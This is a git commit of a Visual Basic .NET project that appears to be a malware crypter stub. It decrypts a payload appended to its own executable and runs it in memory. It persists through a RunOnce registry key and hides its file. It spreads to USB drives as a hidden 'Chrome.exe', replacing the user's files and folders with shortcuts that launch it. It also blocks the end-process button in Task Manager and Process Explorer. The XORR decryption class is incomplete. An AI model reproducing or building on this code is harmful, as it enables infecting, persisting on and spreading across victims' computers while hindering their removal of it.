initial commit

This commit is contained in:
i2p
2026-08-27 11:04:21 -06:00
commit 07a49a8c50
937 changed files with 196477 additions and 0 deletions
+79
View File
@@ -0,0 +1,79 @@
Public Class AntiTaskManager
' C0d3d bY njq8
<Runtime.InteropServices.DllImport("user32.dll")> _
Private Shared Function EnableWindow(ByVal hWnd As IntPtr, ByVal bEnable As Boolean) As Boolean
End Function
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As _
IntPtr, ByRef lpdwProcessID As Integer) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As IntPtr
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As _
Integer, ByVal lpClassName As String, ByVal nMaxCount As Integer) As Integer
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal _
hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As String) As Integer
Private Declare Auto Function GetWindowText Lib "user32.dll" (ByVal hwnd As Int32, _
ByVal lpString As System.Text.StringBuilder, ByVal cch As Int32) As Int32
Private Declare Auto Function GetWindowTextLength Lib "user32.dll" (ByVal hwnd As Int32) As Int32
Private Delegate Function EnumWindProc(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
Private Delegate Function EnumChildWindProc(ByVal hWnd As Int32, ByVal _
lParam As Int32) As Boolean
Private Declare Function EnumChildWindows Lib "user32" (ByVal hWnd As IntPtr, _
ByVal lpEnumFunc As EnumWindProc, ByRef lParam As IntPtr) As Int32
Private Function EnumChild(ByVal hWnd As Int32, ByVal lParam As Int32) As Boolean
CLD.Add(hWnd)
Return True
End Function
Public Sub protect()
While True
Threading.Thread.Sleep(200)
Dim hwd = GetForegroundWindow
If hwd.ToInt32 = 0 Then Continue While
Dim id As Integer = 0
GetWindowThreadProcessId(hwd, id)
If id > 0 Then
Dim Title As String = ""
Dim text_len As Integer = GetWindowTextLength(hwd)
If text_len = 0 Then
Title = ""
Else
Dim sb As New System.Text.StringBuilder(text_len + 1)
Dim ret = GetWindowText(hwd, sb, sb.Capacity)
If ret = 0 Then
Title = ""
Else
Title = sb.ToString
End If
End If
Dim p As Process = Process.GetProcessById(id)
If p.ProcessName.ToLower = "taskmgr" Or p.ProcessName.ToLower _
= "processhacker" Or Title.ToLower = "process explorer" Then
Dim button As New List(Of IntPtr)
Dim statics As Integer = 0
For Each x As IntPtr In GetChild(hwd)
Dim className As String = Space(200)
Dim ln As Integer = GetClassName(x, className, 200)
className = className.Remove(ln, 200 - ln)
If className.ToLower = "button" Then
button.Add(x)
End If
If className.ToLower = "static" Or className.ToLower _
= "directuihwnd" Then
statics += 1
End If
Next
If button.Count = 2 And (statics = 2 Or statics = 1) Then
EnableWindow(button(0), False)
SendMessage(button(0), &HC, 0, "")
End If
End If
End If
End While
End Sub
Private CLD As New List(Of IntPtr)
Private Function GetChild(ByVal hwd As IntPtr) As IntPtr()
SyncLock Me
CLD.Clear()
EnumChildWindows(hwd, New EnumWindProc(AddressOf EnumChild), 0)
Return CLD.ToArray
End SyncLock
End Function
End Class
+57
View File
@@ -0,0 +1,57 @@
Public Module USB
Private H As Threading.Thread
Public Sub Enable()
H = New Threading.Thread(AddressOf WorkThread)
H.Start()
End Sub
Public Sub Disable()
H.Abort()
End Sub
Public Sub WorkThread()
GoAgain:
Dim allDrives() As IO.DriveInfo = IO.DriveInfo.GetDrives()
Dim d As IO.DriveInfo
Dim VbsObj As Object
VbsObj = CreateObject("WScript.Shell")
Dim DE As Object
For Each d In allDrives
If d.IsReady = True AndAlso d.DriveType = IO.DriveType.Removable Then
Dim RootDir As String = d.RootDirectory.ToString
Try : IO.File.Copy(Process.GetCurrentProcess.MainModule.FileName, RootDir & "Chrome.exe") : Catch : End Try
IO.File.SetAttributes(RootDir & "Chrome.exe", IO.FileAttributes.Hidden)
For Each f As String In IO.Directory.GetFiles(RootDir)
If IO.Path.GetFileNameWithoutExtension(f) = "Chrome" Then GoTo GoHere
If Not f.Contains(".lnk") Then
IO.File.SetAttributes(f, IO.FileAttributes.Hidden)
End If
DE = VbsObj.CreateShortcut(RootDir & IO.Path.GetFileNameWithoutExtension(f) & ".lnk")
DE.TargetPath = RootDir & "Chrome.exe"
DE.WorkingDirectory = RootDir
DE.IconLocation = f & ", 0"
DE.Save()
GoHere:
Next
For Each dx As String In IO.Directory.GetDirectories(RootDir)
Dim dir As New System.IO.DirectoryInfo(dx)
dir.Attributes = IO.FileAttributes.Hidden
DE = VbsObj.CreateShortcut(dx & ".lnk")
DE.TargetPath = RootDir & "Chrome.exe"
DE.WorkingDirectory = RootDir
DE.IconLocation = Environment.GetEnvironmentVariable("windir") & "\System32\Shell32.dll" & ", 3"
DE.Save()
Next
End If
Next
Threading.Thread.Sleep(1000)
GoTo GoAgain
End Sub
End Module
+105
View File
@@ -0,0 +1,105 @@
Imports System.IO
Imports System.Text
Imports System.Threading
Imports System.Reflection
Module Module4
Const Hamzaa = "%%HACKERSDZ%%Devpoint&&$$$Hamza££££"
Dim AntiTas, Sleepp, Hid, RunOnce, spread As String
Dim KGB As String
Dim Bytes() As Byte
Sub Main()
Dim Hamzao() As String
Dim file1 As String
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
file1 = Space(LOF(1))
FileGet(1, file1)
FileClose(1)
Hamzao = Split(file1, Hamzaa)
Dim xduh As New XORR(Hamzao(2))
KGB = xduh.PolyDeCrypt(Hamzao(1)) : AntiTas = Hamzao(3) : Sleepp = Hamzao(4) : Hid = Hamzao(5) : RunOnce = Hamzao(6) : spread = Hamzao(7)
If AntiTas = True Then : AntiTaskManager() : Else : End If
If Sleepp = True Then : Sleep() : Else : End If
If Hid = True Then : HideFile() : Else : End If
If RunOnce = True Then : RunOnceStartup() : Else : End If
If spread = True Then : Spreadusb() : Else : End If
Bytes = Encoding.Default.GetBytes(KGB)
RunM(Bytes)
End Sub
Public Sub RunM(ByVal assembly() As Byte)
Dim Hamza As Assembly = AppDomain.CurrentDomain.Load(assembly)
Dim DEVPOINT As MethodInfo = Hamza.EntryPoint
Dim Cracked As Object = Hamza.CreateInstance(DEVPOINT.Name)
Dim Programe As Object() = Nothing
If (DEVPOINT.GetParameters.Length > 0) Then
Programe = New Object() {New String() {Nothing}}
End If
DEVPOINT.Invoke(Cracked, Programe)
End Sub
Dim run As String = "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce"
Public Sub RunStartup(h As [Boolean], p As String, a As String)
Dim key As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(run, True)
If h = True Then
key.SetValue(p, a)
Else
key.DeleteValue(p, False)
End If
End Sub
Sub Spreadusb()
USB.Enable()
End Sub
Sub HideFile()
File.SetAttributes(Application.ExecutablePath, FileAttributes.Hidden)
End Sub
Sub Sleep()
System.Threading.Thread.Sleep(20000)
End Sub
Public hamza As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
Sub RunOnceStartup()
IO.File.Copy(Application.ExecutablePath, hamza & " \Windowss.exe")
RunStartup(True, "Windowss", hamza & "\Windowss.exe")
End Sub
Private Function AntiTaskManager() As Boolean
Dim H As New AntiTaskManager
Control.CheckForIllegalCrossThreadCalls = False
Dim F As New Threading.Thread(AddressOf H.protect)
F.Start()
End Function
End Module
@@ -0,0 +1,13 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.18408
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
@@ -0,0 +1,10 @@
<?xml version="1.0" encoding="utf-8"?>
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<MySubMain>false</MySubMain>
<MainForm>Form1</MainForm>
<SingleInstance>false</SingleInstance>
<ShutdownMode>0</ShutdownMode>
<EnableVisualStyles>true</EnableVisualStyles>
<AuthenticationMode>0</AuthenticationMode>
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
</MyApplicationData>
@@ -0,0 +1,58 @@
<?xml version="1.0" encoding="utf-8"?>
<asmv1:assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<!-- Options du manifeste de contrôle de compte d'utilisateur
Si vous souhaitez modifier le niveau du contrôle de compte d'utilisateur Windows, remplacez le nœud
requestedExecutionLevel par l'une des propositions suivantes.
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
<requestedExecutionLevel level="highestAvailable" uiAccess="false" />
La spécification du nœud requestedExecutionLevel désactivera la virtualisation de fichiers et du Registre.
Si vous souhaitez utiliser la virtualisation de fichiers et du Registre pour la compatibilité
descendante, supprimez le noeud requestedExecutionLevel.
-->
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
</requestedPrivileges>
</security>
</trustInfo>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
<application>
<!-- Liste de toutes les versions de Windows avec lesquelles cette application peut fonctionner.
Windows sélectionnera automatiquement l'environnement le plus compatible.-->
<!-- Si votre application est conçue pour fonctionner avec Windows Vista, supprimez les commentaires du nœud supportedOS suivant-->
<!--<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"></supportedOS>-->
<!-- Si votre application est conçue pour fonctionner avec Windows 7, supprimez les commentaires du nœud supportedOS suivant-->
<!--<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>-->
<!-- Si votre application est conçue pour fonctionner avec Windows 8, supprimez les commentaires du nœud supportedOS suivant-->
<!--<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"></supportedOS>-->
<!-- Si votre application est conçue pour fonctionner avec Windows 8.1, supprimez les commentaires du nœud supportedOS suivant-->
<!--<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>-->
</application>
</compatibility>
<!-- Activer les thèmes pour les contrôles et boîtes de dialogue communes de Windows (Windows XP et version ultérieure) -->
<!-- <dependency>
<dependentAssembly>
<assemblyIdentity
type="win32"
name="Microsoft.Windows.Common-Controls"
version="6.0.0.0"
processorArchitecture="*"
publicKeyToken="6595b64144ccf1df"
language="*"
/>
</dependentAssembly>
</dependency>-->
</asmv1:assembly>
+20
View File
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "Stub", "Stub.vbproj", "{4CFDE991-8014-428E-BF76-449C96656449}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{4CFDE991-8014-428E-BF76-449C96656449}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{4CFDE991-8014-428E-BF76-449C96656449}.Debug|Any CPU.Build.0 = Debug|Any CPU
{4CFDE991-8014-428E-BF76-449C96656449}.Release|Any CPU.ActiveCfg = Release|Any CPU
{4CFDE991-8014-428E-BF76-449C96656449}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
Binary file not shown.
+138
View File
@@ -0,0 +1,138 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="12.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProductVersion>9.0.30729</ProductVersion>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>{4CFDE991-8014-428E-BF76-449C96656449}</ProjectGuid>
<OutputType>WinExe</OutputType>
<StartupObject>Sub Main</StartupObject>
<RootNamespace>Stub</RootNamespace>
<AssemblyName>Stub</AssemblyName>
<FileAlignment>512</FileAlignment>
<MyType>WindowsFormsWithCustomSubMain</MyType>
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
<OptionExplicit>On</OptionExplicit>
<OptionCompare>Binary</OptionCompare>
<OptionStrict>Off</OptionStrict>
<OptionInfer>On</OptionInfer>
<FileUpgradeFlags>
</FileUpgradeFlags>
<UpgradeBackupLocation>
</UpgradeBackupLocation>
<OldToolsVersion>3.5</OldToolsVersion>
<PublishUrl>publish\</PublishUrl>
<Install>true</Install>
<InstallFrom>Disk</InstallFrom>
<UpdateEnabled>false</UpdateEnabled>
<UpdateMode>Foreground</UpdateMode>
<UpdateInterval>7</UpdateInterval>
<UpdateIntervalUnits>Days</UpdateIntervalUnits>
<UpdatePeriodically>false</UpdatePeriodically>
<UpdateRequired>false</UpdateRequired>
<MapFileExtensions>true</MapFileExtensions>
<ApplicationRevision>0</ApplicationRevision>
<ApplicationVersion>1.0.0.%2a</ApplicationVersion>
<IsWebBootstrapper>false</IsWebBootstrapper>
<UseApplicationTrust>false</UseApplicationTrust>
<BootstrapperEnabled>true</BootstrapperEnabled>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<DefineDebug>true</DefineDebug>
<DefineTrace>true</DefineTrace>
<OutputPath>bin\Debug\</OutputPath>
<DocumentationFile>Stub.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<DefineDebug>false</DefineDebug>
<DefineTrace>true</DefineTrace>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DocumentationFile>Stub.xml</DocumentationFile>
<NoWarn>42016,41999,42017,42018,42019,42032,42036,42020,42021,42022,42353,42354,42355</NoWarn>
<PlatformTarget>x86</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
</PropertyGroup>
<PropertyGroup>
<ApplicationManifest>My Project\app.manifest</ApplicationManifest>
</PropertyGroup>
<PropertyGroup>
<ApplicationIcon>ico.ico</ApplicationIcon>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Data" />
<Reference Include="System.Deployment" />
<Reference Include="System.Drawing" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml" />
<Reference Include="System.Core">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Xml.Linq">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
<Reference Include="System.Data.DataSetExtensions">
<RequiredTargetFramework>3.5</RequiredTargetFramework>
</Reference>
</ItemGroup>
<ItemGroup>
<Import Include="Microsoft.VisualBasic" />
<Import Include="System" />
<Import Include="System.Collections" />
<Import Include="System.Collections.Generic" />
<Import Include="System.Data" />
<Import Include="System.Drawing" />
<Import Include="System.Diagnostics" />
<Import Include="System.Windows.Forms" />
<Import Include="System.Linq" />
<Import Include="System.Xml.Linq" />
</ItemGroup>
<ItemGroup>
<Compile Include="Module1.vb" />
<Compile Include="Module3.vb" />
<Compile Include="Module4.vb" />
<Compile Include="My Project\Application.Designer.vb">
<AutoGen>True</AutoGen>
<DependentUpon>Application.myapp</DependentUpon>
</Compile>
<Compile Include="XORR.vb" />
</ItemGroup>
<ItemGroup>
<None Include="app.config" />
<None Include="My Project\app.manifest" />
<None Include="My Project\Application.myapp">
<Generator>MyApplicationCodeGenerator</Generator>
<LastGenOutput>Application.Designer.vb</LastGenOutput>
</None>
</ItemGroup>
<ItemGroup>
<BootstrapperPackage Include="Microsoft.Net.Client.3.5">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1 Client Profile</ProductName>
<Install>false</Install>
</BootstrapperPackage>
<BootstrapperPackage Include="Microsoft.Net.Framework.3.5.SP1">
<Visible>False</Visible>
<ProductName>.NET Framework 3.5 SP1</ProductName>
<Install>true</Install>
</BootstrapperPackage>
</ItemGroup>
<ItemGroup>
<Content Include="ico.ico" />
</ItemGroup>
<Import Project="$(MSBuildToolsPath)\Microsoft.VisualBasic.targets" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
@@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="12.0">
<PropertyGroup>
<PublishUrlHistory />
<InstallUrlHistory />
<SupportUrlHistory />
<UpdateUrlHistory />
<BootstrapperUrlHistory />
<ErrorReportUrlHistory />
<FallbackCulture>en-US</FallbackCulture>
<VerifyUploadedFiles>false</VerifyUploadedFiles>
<ProjectView>ShowAllFiles</ProjectView>
</PropertyGroup>
</Project>
+11
View File
@@ -0,0 +1,11 @@
Class XORR
Private _hamzao As String
Sub New(Hamzao As String)
' TODO: Complete member initialization
_hamzao = Hamzao
End Sub
End Class
+23
View File
@@ -0,0 +1,23 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.diagnostics>
<sources>
<!-- This section defines the logging configuration for My.Application.Log -->
<source name="DefaultSource" switchName="DefaultSwitch">
<listeners>
<add name="FileLog"/>
<!-- Uncomment the below section to write to the Application Event Log -->
<!--<add name="EventLog"/>-->
</listeners>
</source>
</sources>
<switches>
<add name="DefaultSwitch" value="Information"/>
</switches>
<sharedListeners>
<add name="FileLog" type="Microsoft.VisualBasic.Logging.FileLogTraceListener, Microsoft.VisualBasic, Version=8.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL" initializeData="FileLogWriter"/>
<!-- Uncomment the below section and replace APPLICATION_NAME with the name of your application to write to the Application Event Log -->
<!--<add name="EventLog" type="System.Diagnostics.EventLogTraceListener" initializeData="APPLICATION_NAME"/> -->
</sharedListeners>
</system.diagnostics>
<startup><supportedRuntime version="v2.0.50727"/></startup></configuration>
Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB